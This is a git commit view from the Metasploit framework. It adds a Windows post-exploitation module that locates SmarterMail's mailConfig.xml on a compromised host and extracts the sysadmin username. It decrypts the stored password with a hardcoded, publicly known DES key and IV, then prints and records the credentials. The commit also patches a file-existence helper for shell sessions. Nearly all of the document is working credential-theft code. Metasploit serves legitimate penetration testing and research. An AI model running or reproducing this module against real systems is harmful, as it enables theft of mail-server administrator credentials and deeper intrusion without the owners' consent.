Land #2934 - Windows Gather SmarterMail Password Extraction

bug/bundler_fix
sinn3r 2014-02-02 23:40:58 -06:00
commit 9e25e2f178
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
2 changed files with 155 additions and 1 deletions

View File

@ -72,7 +72,16 @@ module Msf::Post::File
return stat.file? return stat.file?
else else
if session.platform =~ /win/ if session.platform =~ /win/
# XXX out = session.shell_command_token("type \"#{path}\"").to_s.strip
# Possible error messages when opening a file, see:
# http://technet.microsoft.com/en-us/library/cc956687.aspx
if out =~ /^The system cannot find the path specified/
return false
elsif out =~ /^The filename, directory name, or volume label syntax is incorrect/
return false
else
return true
end
else else
f = session.shell_command_token("test -f '#{path}' && echo true") f = session.shell_command_token("test -f '#{path}' && echo true")
return false if f.nil? or f.empty? return false if f.nil? or f.empty?

View File

@ -0,0 +1,145 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(
info,
'Name' => 'Windows Gather SmarterMail Password Extraction',
'Description' => %q{
This module extracts and decrypts the sysadmin password in the
SmarterMail 'mailConfig.xml' configuration file. The encryption
key and IV are publicly known.
This module has been tested successfully on SmarterMail versions
10.7.4842 and 11.7.5136.
},
'License' => MSF_LICENSE,
'Author' => [
'Joe Giron', # Discovery and PoC (@theonlyevil1)
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
'sinn3r' # shell session support
],
'References' =>
[
['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/']
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter', 'shell']
))
end
def r_host
if session.type =~ /meterpreter/
session.sock.peerhost
else
session.session_host
end
end
def peer
if session.type =~ /meterpreter/
"#{r_host} (#{sysinfo['Computer']})"
else
r_host
end
end
#
# Decrypt DES encrypted password string
#
def decrypt_des(encrypted)
return nil if encrypted.nil?
decipher = OpenSSL::Cipher::DES.new
decipher.decrypt
decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18"
decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f"
decipher.update(encrypted) + decipher.final
end
#
# Find SmarterMail 'mailConfig.xml' config file
#
def get_mail_config_path
found_path = ''
drive = expand_path('%SystemDrive%').strip
['Program Files (x86)', 'Program Files'].each do |program_dir|
path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip
vprint_status "#{peer} - Checking for SmarterMail config file: #{path}"
if file?(path)
found_path = path
break
end
end
found_path
end
#
# Retrieve username and decrypt encrypted password string from the config file
#
def get_smartermail_creds(path)
result = {}
data = ''
vprint_status "#{peer} - Retrieving SmarterMail sysadmin password"
begin
data = read_file(path)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
return result
end
if data.blank?
print_error "#{peer} - Configuration file is empty."
return result
end
username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/)
result['username'] = username[1] unless username.nil?
result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil?
result
end
#
# Find the config file, extract the encrypted password and decrypt it
#
def run
# check for SmartMail config file
config_path = get_mail_config_path
if config_path.blank?
print_error "#{peer} - Could not find SmarterMail config file"
return
end
# retrieve username and decrypted password from config file
result = get_smartermail_creds(config_path)
if result['password'].nil?
print_error "#{peer} - Could not decrypt password string"
return
end
# report result
user = result['username']
pass = result['password']
print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
report_auth_info(
:host => r_host,
:sname => 'http',
:user => user,
:pass => pass,
:source_id => session.db_record ? session.db_record.id : nil,
:source_type => 'vuln')
end
end